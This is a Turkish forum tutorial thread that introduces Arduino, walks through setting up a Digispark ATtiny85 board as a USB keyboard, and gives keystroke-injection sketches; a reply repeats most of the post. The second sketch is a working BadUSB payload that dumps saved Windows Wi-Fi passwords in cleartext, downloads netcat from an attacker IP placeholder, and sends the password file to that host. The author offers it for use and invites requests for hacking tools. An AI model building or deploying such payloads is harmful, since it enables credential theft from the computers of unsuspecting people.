ARDUINO nedir? | Küçük şeytan ATtiny85 ile hacking!

deltaturk

Katılımcı Üye
26 Kas 2020
925
1,007
Green Team Mersin Daire Bşk.
e111ct4.png









Merhaba dostlarım, bu makalemde sizlere önce "Arduino nedir?" konusunda bilgi vereceğim.
Detaylı bilgilere yer verdikten sonra makaleye "ATtinny85" kartı ile deam ederek, kod yapısına bir örnek vereceğim.
Kodları inceleyeceğiz ve kartı klavye olarak kullanacağız.
Foruma katkısı ve bu alanda çalışacak arkadaşlara faydalı olması dileğiyle diyerek başlamak istiyorum.

İyi okumalar.



|

|
v




Arduino nedir?



fa3yngj.png


Arduino; elektronik uygulamalar, projeler oluşturmak için hem donanıma hem de yazılıma dayalı açık kaynaklı bir platformdur. Bu platform, programlanabilir fiziksel bir devre kartından (mikro denetleyiciler) ve bilgisayarımızda çalışan, kodları fiziksel karta yazmak ve yüklemek için bize yardımcı olan bir IDE’den oluşmaktadır.

Plaform kartları girdileri okuyabilir, sensörleri ve ışıkları algılayıp buna bir dönüş yapabilir, bir cihazı çalıştırabilir, çevrim içi birşeyler paylaşabilir (örn; .onion uzantılı bir site), LED ışılar ile oynayabilir ve buna benzer bir çok işlemi gerçekleştirebilir.

Bütün bu işlemler için yapmanız gerekenler, platform üzerindeki
mikro denetleyicilere talimatlar vermek.
Arduino platformu elektrik-elektronik ile ilgilenen insanlar tarafından oldukça popüler bir hale geldiğini söyleyebilirim. Sadece bu alanda aktif çalışan insanlar değil; hobi olarak ilgilenenler, tamirciler, yapımcılar, 3D baskıcılar, IoT geliştiricileri, öğrenciler, tasarımcılar gibi farklı alanlarda ki insanlar tarafından da bu platform sıklıkla kullanıyor.

Bunu bir getirisi olarak Arduino
açık kaynak platformu, yeni başlayanından en profesyoneline kadar geniş bir geliştirici topluluğuna sahip oldu. Çok fazla sayıda proje geliştirildi ve hala geliştirilmeye devam ediyor.

Başlangıcı ise; “
Ivrea Etkileşim Tasarım Enstitüsü” tarafından, elektronik ve programlamaya yeni başlamış öğrencilerine dah hızlı prototip geliştirebilmeleri için oluşturuldu. Kullanıcı sayısının artması ile ihtiyaca uygun yeni kartlar üretilmeye başlandı. Bu kart aralığı, IoT cihazlardan 3D baskı cihazlarına kadar genişledi.

Geliştirilen bu kartların diğer platformlardan farkı ise, yeni kodlar yüklemek için ayrı bir donanımsal parçaya ihtiyacın olmamasıdır. Sıradan bir USB kablo ile bu işlem yapılabilir. Ayrıca Arduino IDE, basitleştirilmiş bir C++ sürümü ile kodlamaya olanak sağlar.






Peki neden Arduino?


c436kc4.png


Arduino, hem basit ve erişilebilir olması ile hem de topluluğunun aktif olması ile binlerce farklı uygulama ve projede kullanılıyor. Yeni başlayanlar için anlaması kolay ve uygulaması basit olduğundan toplulukta belirli bir popülerliğe ulaşmıştır.

Windows, Mac ve Linux platformlarında çalışabilir olması da ayrı bir avantajdır. Öğretmenler ve öğrenciler arasında, düşük maliyetinden dolayı çokça kullanıldığını da söyleyebilirim. Ayrıca; tasarım işi ile uğraşanlar ve mimarlar bu platformdan etkileşimli prototipler üreterek, sanat ve müzik sektöründe olanlar enstalasyon denemeleri için, film-video yapım alanında çalışanlar hareketli platformlar için Arduino platformunu kullanmaktadır.

Gelin birlikte “
Neden Arduino?” sorusu içi birkaç madde sıralayalım;


Inexpensive (düşük fiyat) : Bu kartlar diğer benzeri platformlara nazaran daha ucuzdur. Arduino’nun en düşük imal edilen kartı dahi 50$’dan daha düşük bir değere mal ediliyor.
Cross-platform (çapraz platform) : Arduino IDE, Windows, Mac ve Linux sistemlerinde çalışabiliyor. Benzer platformların bir çoğu sadece Windows ortamında geliştirilebilmektedir.
Simple and Clear Programming Environment (basit ve net programlama ortamı) : Arduino IDE, programlamaya yeni başlayan kullanıcılar için son derece basit bir geliştirme alanı sunmaktadır. Bu bastiliğin yanı sıra, tecrübeli kullanıcılar için de esneklik sağlanmıştır.
Open source and Extensible Software (açık kaynak ve genişletilebilir yazılım) : Arduino IDE, tecrübeli programcılar tarafından genişletilebilir açık kaynaklı araçlar olarak yayınlanır. Ayrıca Arduino, C++ kütüphaneleri aracılığıyla daha da genişletilebilir. İleri teknik ayrıntıları anlamlandırmak isteyenler, AVR C programlama dili ile bağdaşlaştırabilir.
Open source and Extensible Hardware (açık kaynak ve genişletilebilir donanım) : Arduino kartlarındaki projeler “Creative Commons” lisansı ile yayınlanır. Böylece tecrübeli geliştiriciler, kendi versiyonlarını oluşturarak yayınlayabilir, geliştirebilir ve genişletebilir. Daha az tecrübeli kullanıcılar dahi sistemin nasıl çalıştığını anlayabilir ve kendi versiyonlarını oluturabilirler.







Arduino tasarımına bakış


5nu9emg.png


Arduino kartları, tasarımı yıllar içerisinde değişsede temel olarak bir devre kartı üzerinde farklı parçalar ve arayüzler içerir.
Genel içreği ise;


Çeşitli bileşenlere bağlanmayı sağlayan bir dizi pin içerir. Bu pinler iki çeşittir;
Bir durum okuyup yazabilen dijital pinler.
Dizi okuyabilen ve hassas kontrol için kullanılan analog pinler.

Cihaza güç sağlayan aynı zamanda çeşitli sensörlerin düşük voltaj güç ihtiyacını da karşılayan bir güç konektörü.

Komut yürütülmesine olanak veren ve girdilere karak verilebilmesi için programlamaya olanak sağlayan bir birincil mikro denetleyici.

Standart bir USB bağlantı noktası ile uygulanan seri konektör.

Çeşitli osilatör ve/veya voltaj regülatörü gibi mini bileşenler. Bunlar ile direkt olarak temasa girilmez.





Bazı Arduino kartlarına bakış



accpbcy.png
Uno : Başlangıç olarak en iyi tercihlerden biridir. Giriş/çıkış 14 dijital pine, analog girişe, USB bağlantısına, bir güç jakına, sıfırlama düğmesine ve daha fazlasına sahiptir. Başlamak için bir USB kablosu yardımı ile bilgisayarınıza bağlamanı yeterlidi.


7lcxr27.png
LilyPad : Bu kart, “Leah Buechley” tarafından geliştirilen, giyilebilen bir e-tekstil teknolojisidir. Kart, düz bir sırta sahiptir. Büyük bağlantı pedleri ve giysilere dikilebilen iletken ipler içeren bir tasarım yapılmıştır. Kendi giriş/çıkış, güç ve sensör ailesine sahiptir. Ayrıca yıkanabilir.


fxf4pke.png
RedBoard : Bu kart, Arduino IDE ile bir USB Mini-B kablosuyla programlanabilir. Çoğu karttan daha stabildir. Ayrıca yerleşik güç regülatörü 7-15 VDC arası her şeyi işleyebilir.


kbxs06k.png
Leonardo : Yerleşik USB’li mikro denetleyici kullanan ilk Arduino kartıdır. Bu, daha ucuz ve daha basit demektir. Bu kart, doğrudan USB kullandığından bir bilgisayar klavyesini, faresini taklit edebilecek kitaplıklara sahiptir.







la1h8pk.png




lehonb7.png


Örneğine bakacağımız bu kart, 8-pim arayüz ile gelen, otomasyon ve Arduino projelerinde kullanılan 8-bit AVR mikro denetleyicisidir.

RISC, CPU mimarisine dayalıdır. Gerçek zamanlı ve minimum güç ile çalışabilen uygulamalar için bir güç denetleyicisidir.

8KB’lık bir program belleğine sahiptir. EEPROM ve RAM yaklaşık olarak 512 bayt bir bellek alanı vardır.

Küçük paket boyutuna rağmen ATtiny85, arayüz oluşturmak için dikkate değer içerik ile gelmektedir. 5V lojik dijital 1/O pin barındırır. Ayrıca diğer sensör ve cihazlar ile birlikte kullanmak için 12C ve SPI da mevcuttur.




KURULUM


Bu kadar teknik bilgiden sonra hadi gelin sizler ile "Arduion IDE" kurulumunu ve ayarlarını yapalım.
Bu adımlara, platformun resmi sitesinden ulaşabilirsiniz.


Öncelikle siteye giderek sistemimiz ile uyumlu IDE sürümünü indiriyoruz.


oku0yxu.png


apewz13.png

Dilerseniz, "Microsoft Store"dan da indirebilirsiniz. Oraya da eklemişler.
Yükleme tamamlandıktan sonra
IDE açılacak ve karşımıza böyle bir ekran gelecektir;


lgo5r7x.png

IDE başarılı bir şekilde yüklendi.
Burada birkaç ayar yapmamız gerekiyor. İlk ayar olarak "Digistump Drivers" kurulumu yapacağız.
Bunun için link bırakıyorum.

Link'e giderek işaretli dosyayı indiriyoruz, sonra indirdiğimiz bu dosyalar içerisinden yine işaretlediğim uygulamalardan sistemimiz için uygun olanı çalıştırıyoruz.


8lay190.png
llww9qw.png


Kurulum için pencere açılacaktır.
"
Sonraki" seçeneği ile kurulumu başlatalım. İşlem birkaç saniye sürüyor. Daha sonra "Son" seçeneği ile kurulumu bitirelim.


8bydmrt.png
d0urnj7.png


Driver kurulumunu yaptığımıza göre diğer bir husus olan ince ayarlara geçebiliriz.
Bunun için
IDE'mizi açalım. Açılan pencerede sol üst kısımdan "Dosyalar > Tercihler" bölümüne geçelim.


jercv39.png

Karşımıza aşağıdaki gibi bir ekran gelecek. Burada işaretlediğim yeri doldurmamız gerekiyordu. Bizde buraya bıraktığım link ile o kutucuğu dolduralım.

g5obtxo.png


l8ijd8c.png

Bu ayarıda yaptık. Son olarak bir ayarımız daha kaldı dostlarım. Kullanacağımız "Digispark" kartının kütüphanesini eklememiz gerekiyor.
Hemen bunun için "
Araçlar > Kart > Kart yöneticisi" penceresine gidiyoruz


jx4l267.png

Karşımıza çıkan pencerede "digistump avr boards" araması yapıyoruz. Tek sonuç bulunacaktır, o kütüphaneyi indiriyoruz.

97duug1.png


92xhcx6.png

Bu adımdan sonra kod yazmaya geçeceğiz. Öncelikler üzerinde çalışacağımız kartı seçelim.

22wshfw.png


NOT: Bizler "Türkçe Q klavye" kullandığımızdan programın düzgün çalışması için bir script indirmemiz gerkiyor. Bu script dosyasını indirin,
\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard
dosyasının içerisine atın ve değiştirin.

(Virustotal)


IDE'mizi açalım ve verdiğim kodları yazalım. Kodların yanlarına açıklamalarını yazdım.

C++:
#define kbd_tr_tr // <-- bu tanımlama bizim türkçe klavye kullanacağımız anlamına gelir.
#include "DigiKeyboard.h" // <-- bu tanımlama ise bu kartı bir klavye olarak kullanacağımızı belirtir.

void setup() {
  // boş kalsın.
}

void loop() {
    DigiKeyboard.sendKeyStroke(0); // <-- bu kod eski sistemler içindir. Yazmasanız da pek fark etmez.
    DigiKeyboard.delay(750); // 'delay' komutu aynı 'sleep' komutu gibi bir bekleme süresi oluşturur.
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("notepad"); // 'print' komutu belirtileni yazmak için kullanılır.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // 'sendKeyStroke' komutu klavyedeki tuşa basmak için kullanılır. Burada bir ine durum var; parametre olarak son verilen tuş ilk çalışır. Yani sağdan sola yazmanız gerekiyor.
    DigiKeyboard.delay(1000);
    DigiKeyboard.print("Hello THT!");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("This app is a simple keyboard app.");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("Don't forget to stay tuned for more :)");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print("w1sd0m presents...");
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_A, MOD_CONTROL_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(0x2A); // buradaki '0x2A' değeri 'KEY_DELETE' değerinin Hexadecimal formatıdır. Direkt 'KEY_DELETE' yazdığımda hata aldığım için dönüşümünü kullandım. Sizde hata aldığınız tuşlar olursa bu taktiği deneyebilirsiniz.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("C:/Temp/green.png");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(1000);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    for (;;){} // <-- burdaki işlem ise döngünün sonlanmasını sağlıyor. Bunu yazmas iseniz döngü sonsuz dönecektir.
}

Klavye işlemlerimiz için "DigiKeyboard" modülünden yararlanıyoruz. "sendKeyStroke()" fonksiyonu ile bir tuşa basma eylemi gerçekleştirebiliyoruz. "print()" fonksiyonu ile bulunduğumuz metin girdi yerlerine yazı yazma işlemi yapabiliyoruz. "delay()" fonksiyonu ile programa bir bekleme süresi koyabiliyoruz (milisec.).

Peki kodları yazdık sonra ne yapacağız?

Sol üstte bulunan "Yükle ->" butonuna basıyoruz.

5k5x1td.png

Butona bastığımızda IDE altında bize bir bildirim yapılıyor. Burada "Plug in device now (will timeout in 60 seconds)" yazısını görene kadar birşey yapmayacağız.
Bu yazıyı görürsek 60 saniye içerisinde kartı
USB soket yerine takmamız gerekiyor.


ttqslrk.png


9t1hmgq.png

Kartı takıp beklediğimizde yukarıda ki gibi "Micronucleus done. Thank you!" yazısının çıktığını göreceğiz. Bu yazı çıkınca kartı hemen soketten ayırın. Hemen dememin sebebi, beklerseniz kart otomatik çalışmaya başlıyor. Yani içerisine yazdığımız kodlar aktif oluyor.

Görsel olarak göstermek gerekirse; kart "
Plug in device now (will timeout in 60 seconds)" aşamasında "Yeşil,Kırmızı" bir arada yanarken, "Micronucleus done. Thank you!" aşamasında "Yeşil" tek yanıyor. Buradan da işlemin tamamlandığını anlayabiliriz.


RaXdr8.png
RacpAp.png


Kodları yazdık, karta yükledik. Sıra geldi çalıştırmaya.
Kartı USB soketine taktığımızda birkaç saniye sonra otomatik olarak içerisindeki kodları aktif edecektir ve ondan yapmasını istediğimiz adımları uygulayacaktır.
Bu adımları ekran kaydı ile sizlere göstereceğim. Hizmette sınır yok:cool:




Konu bu kadar arkadaşlar. Sizlere veda etmeden önce bir örnek kod daha bırakmak istiyorum.
"
Windows 10/11 bağlanılan wifi şifrelerini almak" adlı bir uygulama olsun.


C++:
#define kbd_tr_tr
#include "DigiKeyboard.h"

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.delay(250);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("netsh wlan show profile name=\"*\" key=clear > wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("Start-BitsTransfer http://<IP>/nc64.exe nc64.exe");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1500);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("nc64.exe -w 3 <IP> <PORT> < wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(4000);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  for (;;){}
}



^
|
|





Değerli dostlarım, güzel kardeşlerim;
Bu makalemde kısaca "Arduino nedir?" sorusuna cevap bulduk.
Ardından "
ATtiny85 ile klavye kullanımı" konusunda bir örnek yaptık.
Kendi hack araçlarını yazmak
isteyenlere her zaman yardımcı olurum, hatta gerek duyarsam yazdığım araçları geliştirip detaylı bir şekilde paylaşabilirim.

Sağlıcakla kalın.











eyruvyp.png
Eline Sağlık :):)
 

Yaso SalvaTore.21

Yeni üye
2 Şub 2022
22
13
''Diyarbakır''
Ellerine sağlık güzel bir konu
e111ct4.png









Merhaba dostlarım, bu makalemde sizlere önce "Arduino nedir?" konusunda bilgi vereceğim.
Detaylı bilgilere yer verdikten sonra makaleye "ATtinny85" kartı ile deam ederek, kod yapısına bir örnek vereceğim.
Kodları inceleyeceğiz ve kartı klavye olarak kullanacağız.
Foruma katkısı ve bu alanda çalışacak arkadaşlara faydalı olması dileğiyle diyerek başlamak istiyorum.

İyi okumalar.



|

|
v




Arduino nedir?



fa3yngj.png


Arduino; elektronik uygulamalar, projeler oluşturmak için hem donanıma hem de yazılıma dayalı açık kaynaklı bir platformdur. Bu platform, programlanabilir fiziksel bir devre kartından (mikro denetleyiciler) ve bilgisayarımızda çalışan, kodları fiziksel karta yazmak ve yüklemek için bize yardımcı olan bir IDE’den oluşmaktadır.

Plaform kartları girdileri okuyabilir, sensörleri ve ışıkları algılayıp buna bir dönüş yapabilir, bir cihazı çalıştırabilir, çevrim içi birşeyler paylaşabilir (örn; .onion uzantılı bir site), LED ışılar ile oynayabilir ve buna benzer bir çok işlemi gerçekleştirebilir.

Bütün bu işlemler için yapmanız gerekenler, platform üzerindeki
mikro denetleyicilere talimatlar vermek.
Arduino platformu elektrik-elektronik ile ilgilenen insanlar tarafından oldukça popüler bir hale geldiğini söyleyebilirim. Sadece bu alanda aktif çalışan insanlar değil; hobi olarak ilgilenenler, tamirciler, yapımcılar, 3D baskıcılar, IoT geliştiricileri, öğrenciler, tasarımcılar gibi farklı alanlarda ki insanlar tarafından da bu platform sıklıkla kullanıyor.

Bunu bir getirisi olarak Arduino
açık kaynak platformu, yeni başlayanından en profesyoneline kadar geniş bir geliştirici topluluğuna sahip oldu. Çok fazla sayıda proje geliştirildi ve hala geliştirilmeye devam ediyor.

Başlangıcı ise; “
Ivrea Etkileşim Tasarım Enstitüsü” tarafından, elektronik ve programlamaya yeni başlamış öğrencilerine dah hızlı prototip geliştirebilmeleri için oluşturuldu. Kullanıcı sayısının artması ile ihtiyaca uygun yeni kartlar üretilmeye başlandı. Bu kart aralığı, IoT cihazlardan 3D baskı cihazlarına kadar genişledi.

Geliştirilen bu kartların diğer platformlardan farkı ise, yeni kodlar yüklemek için ayrı bir donanımsal parçaya ihtiyacın olmamasıdır. Sıradan bir USB kablo ile bu işlem yapılabilir. Ayrıca Arduino IDE, basitleştirilmiş bir C++ sürümü ile kodlamaya olanak sağlar.






Peki neden Arduino?


c436kc4.png


Arduino, hem basit ve erişilebilir olması ile hem de topluluğunun aktif olması ile binlerce farklı uygulama ve projede kullanılıyor. Yeni başlayanlar için anlaması kolay ve uygulaması basit olduğundan toplulukta belirli bir popülerliğe ulaşmıştır.

Windows, Mac ve Linux platformlarında çalışabilir olması da ayrı bir avantajdır. Öğretmenler ve öğrenciler arasında, düşük maliyetinden dolayı çokça kullanıldığını da söyleyebilirim. Ayrıca; tasarım işi ile uğraşanlar ve mimarlar bu platformdan etkileşimli prototipler üreterek, sanat ve müzik sektöründe olanlar enstalasyon denemeleri için, film-video yapım alanında çalışanlar hareketli platformlar için Arduino platformunu kullanmaktadır.

Gelin birlikte “
Neden Arduino?” sorusu içi birkaç madde sıralayalım;


Inexpensive (düşük fiyat) : Bu kartlar diğer benzeri platformlara nazaran daha ucuzdur. Arduino’nun en düşük imal edilen kartı dahi 50$’dan daha düşük bir değere mal ediliyor.
Cross-platform (çapraz platform) : Arduino IDE, Windows, Mac ve Linux sistemlerinde çalışabiliyor. Benzer platformların bir çoğu sadece Windows ortamında geliştirilebilmektedir.
Simple and Clear Programming Environment (basit ve net programlama ortamı) : Arduino IDE, programlamaya yeni başlayan kullanıcılar için son derece basit bir geliştirme alanı sunmaktadır. Bu bastiliğin yanı sıra, tecrübeli kullanıcılar için de esneklik sağlanmıştır.
Open source and Extensible Software (açık kaynak ve genişletilebilir yazılım) : Arduino IDE, tecrübeli programcılar tarafından genişletilebilir açık kaynaklı araçlar olarak yayınlanır. Ayrıca Arduino, C++ kütüphaneleri aracılığıyla daha da genişletilebilir. İleri teknik ayrıntıları anlamlandırmak isteyenler, AVR C programlama dili ile bağdaşlaştırabilir.
Open source and Extensible Hardware (açık kaynak ve genişletilebilir donanım) : Arduino kartlarındaki projeler “Creative Commons” lisansı ile yayınlanır. Böylece tecrübeli geliştiriciler, kendi versiyonlarını oluşturarak yayınlayabilir, geliştirebilir ve genişletebilir. Daha az tecrübeli kullanıcılar dahi sistemin nasıl çalıştığını anlayabilir ve kendi versiyonlarını oluturabilirler.







Arduino tasarımına bakış


5nu9emg.png


Arduino kartları, tasarımı yıllar içerisinde değişsede temel olarak bir devre kartı üzerinde farklı parçalar ve arayüzler içerir.
Genel içreği ise;


Çeşitli bileşenlere bağlanmayı sağlayan bir dizi pin içerir. Bu pinler iki çeşittir;
Bir durum okuyup yazabilen dijital pinler.
Dizi okuyabilen ve hassas kontrol için kullanılan analog pinler.

Cihaza güç sağlayan aynı zamanda çeşitli sensörlerin düşük voltaj güç ihtiyacını da karşılayan bir güç konektörü.

Komut yürütülmesine olanak veren ve girdilere karak verilebilmesi için programlamaya olanak sağlayan bir birincil mikro denetleyici.

Standart bir USB bağlantı noktası ile uygulanan seri konektör.

Çeşitli osilatör ve/veya voltaj regülatörü gibi mini bileşenler. Bunlar ile direkt olarak temasa girilmez.





Bazı Arduino kartlarına bakış



accpbcy.png
Uno : Başlangıç olarak en iyi tercihlerden biridir. Giriş/çıkış 14 dijital pine, analog girişe, USB bağlantısına, bir güç jakına, sıfırlama düğmesine ve daha fazlasına sahiptir. Başlamak için bir USB kablosu yardımı ile bilgisayarınıza bağlamanı yeterlidi.


7lcxr27.png
LilyPad : Bu kart, “Leah Buechley” tarafından geliştirilen, giyilebilen bir e-tekstil teknolojisidir. Kart, düz bir sırta sahiptir. Büyük bağlantı pedleri ve giysilere dikilebilen iletken ipler içeren bir tasarım yapılmıştır. Kendi giriş/çıkış, güç ve sensör ailesine sahiptir. Ayrıca yıkanabilir.


fxf4pke.png
RedBoard : Bu kart, Arduino IDE ile bir USB Mini-B kablosuyla programlanabilir. Çoğu karttan daha stabildir. Ayrıca yerleşik güç regülatörü 7-15 VDC arası her şeyi işleyebilir.


kbxs06k.png
Leonardo : Yerleşik USB’li mikro denetleyici kullanan ilk Arduino kartıdır. Bu, daha ucuz ve daha basit demektir. Bu kart, doğrudan USB kullandığından bir bilgisayar klavyesini, faresini taklit edebilecek kitaplıklara sahiptir.







la1h8pk.png




lehonb7.png


Örneğine bakacağımız bu kart, 8-pim arayüz ile gelen, otomasyon ve Arduino projelerinde kullanılan 8-bit AVR mikro denetleyicisidir.

RISC, CPU mimarisine dayalıdır. Gerçek zamanlı ve minimum güç ile çalışabilen uygulamalar için bir güç denetleyicisidir.

8KB’lık bir program belleğine sahiptir. EEPROM ve RAM yaklaşık olarak 512 bayt bir bellek alanı vardır.

Küçük paket boyutuna rağmen ATtiny85, arayüz oluşturmak için dikkate değer içerik ile gelmektedir. 5V lojik dijital 1/O pin barındırır. Ayrıca diğer sensör ve cihazlar ile birlikte kullanmak için 12C ve SPI da mevcuttur.




KURULUM


Bu kadar teknik bilgiden sonra hadi gelin sizler ile "Arduion IDE" kurulumunu ve ayarlarını yapalım.
Bu adımlara, platformun resmi sitesinden ulaşabilirsiniz.


Öncelikle siteye giderek sistemimiz ile uyumlu IDE sürümünü indiriyoruz.


oku0yxu.png


apewz13.png

Dilerseniz, "Microsoft Store"dan da indirebilirsiniz. Oraya da eklemişler.
Yükleme tamamlandıktan sonra
IDE açılacak ve karşımıza böyle bir ekran gelecektir;


lgo5r7x.png

IDE başarılı bir şekilde yüklendi.
Burada birkaç ayar yapmamız gerekiyor. İlk ayar olarak "Digistump Drivers" kurulumu yapacağız.
Bunun için link bırakıyorum.

Link'e giderek işaretli dosyayı indiriyoruz, sonra indirdiğimiz bu dosyalar içerisinden yine işaretlediğim uygulamalardan sistemimiz için uygun olanı çalıştırıyoruz.


8lay190.png
llww9qw.png


Kurulum için pencere açılacaktır.
"
Sonraki" seçeneği ile kurulumu başlatalım. İşlem birkaç saniye sürüyor. Daha sonra "Son" seçeneği ile kurulumu bitirelim.


8bydmrt.png
d0urnj7.png


Driver kurulumunu yaptığımıza göre diğer bir husus olan ince ayarlara geçebiliriz.
Bunun için
IDE'mizi açalım. Açılan pencerede sol üst kısımdan "Dosyalar > Tercihler" bölümüne geçelim.


jercv39.png

Karşımıza aşağıdaki gibi bir ekran gelecek. Burada işaretlediğim yeri doldurmamız gerekiyordu. Bizde buraya bıraktığım link ile o kutucuğu dolduralım.

g5obtxo.png


l8ijd8c.png

Bu ayarıda yaptık. Son olarak bir ayarımız daha kaldı dostlarım. Kullanacağımız "Digispark" kartının kütüphanesini eklememiz gerekiyor.
Hemen bunun için "
Araçlar > Kart > Kart yöneticisi" penceresine gidiyoruz


jx4l267.png

Karşımıza çıkan pencerede "digistump avr boards" araması yapıyoruz. Tek sonuç bulunacaktır, o kütüphaneyi indiriyoruz.

97duug1.png


92xhcx6.png

Bu adımdan sonra kod yazmaya geçeceğiz. Öncelikler üzerinde çalışacağımız kartı seçelim.

22wshfw.png


NOT: Bizler "Türkçe Q klavye" kullandığımızdan programın düzgün çalışması için bir script indirmemiz gerkiyor. Bu script dosyasını indirin,
\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard
dosyasının içerisine atın ve değiştirin.

(Virustotal)


IDE'mizi açalım ve verdiğim kodları yazalım. Kodların yanlarına açıklamalarını yazdım.

C++:
#define kbd_tr_tr // <-- bu tanımlama bizim türkçe klavye kullanacağımız anlamına gelir.
#include "DigiKeyboard.h" // <-- bu tanımlama ise bu kartı bir klavye olarak kullanacağımızı belirtir.

void setup() {
  // boş kalsın.
}

void loop() {
    DigiKeyboard.sendKeyStroke(0); // <-- bu kod eski sistemler içindir. Yazmasanız da pek fark etmez.
    DigiKeyboard.delay(750); // 'delay' komutu aynı 'sleep' komutu gibi bir bekleme süresi oluşturur.
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("notepad"); // 'print' komutu belirtileni yazmak için kullanılır.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // 'sendKeyStroke' komutu klavyedeki tuşa basmak için kullanılır. Burada bir ine durum var; parametre olarak son verilen tuş ilk çalışır. Yani sağdan sola yazmanız gerekiyor.
    DigiKeyboard.delay(1000);
    DigiKeyboard.print("Hello THT!");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("This app is a simple keyboard app.");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("Don't forget to stay tuned for more :)");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print("w1sd0m presents...");
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_A, MOD_CONTROL_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(0x2A); // buradaki '0x2A' değeri 'KEY_DELETE' değerinin Hexadecimal formatıdır. Direkt 'KEY_DELETE' yazdığımda hata aldığım için dönüşümünü kullandım. Sizde hata aldığınız tuşlar olursa bu taktiği deneyebilirsiniz.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("C:/Temp/green.png");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(1000);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    for (;;){} // <-- burdaki işlem ise döngünün sonlanmasını sağlıyor. Bunu yazmas iseniz döngü sonsuz dönecektir.
}

Klavye işlemlerimiz için "DigiKeyboard" modülünden yararlanıyoruz. "sendKeyStroke()" fonksiyonu ile bir tuşa basma eylemi gerçekleştirebiliyoruz. "print()" fonksiyonu ile bulunduğumuz metin girdi yerlerine yazı yazma işlemi yapabiliyoruz. "delay()" fonksiyonu ile programa bir bekleme süresi koyabiliyoruz (milisec.).

Peki kodları yazdık sonra ne yapacağız?

Sol üstte bulunan "Yükle ->" butonuna basıyoruz.

5k5x1td.png

Butona bastığımızda IDE altında bize bir bildirim yapılıyor. Burada "Plug in device now (will timeout in 60 seconds)" yazısını görene kadar birşey yapmayacağız.
Bu yazıyı görürsek 60 saniye içerisinde kartı
USB soket yerine takmamız gerekiyor.


ttqslrk.png


9t1hmgq.png

Kartı takıp beklediğimizde yukarıda ki gibi "Micronucleus done. Thank you!" yazısının çıktığını göreceğiz. Bu yazı çıkınca kartı hemen soketten ayırın. Hemen dememin sebebi, beklerseniz kart otomatik çalışmaya başlıyor. Yani içerisine yazdığımız kodlar aktif oluyor.

Görsel olarak göstermek gerekirse; kart "
Plug in device now (will timeout in 60 seconds)" aşamasında "Yeşil,Kırmızı" bir arada yanarken, "Micronucleus done. Thank you!" aşamasında "Yeşil" tek yanıyor. Buradan da işlemin tamamlandığını anlayabiliriz.


RaXdr8.png
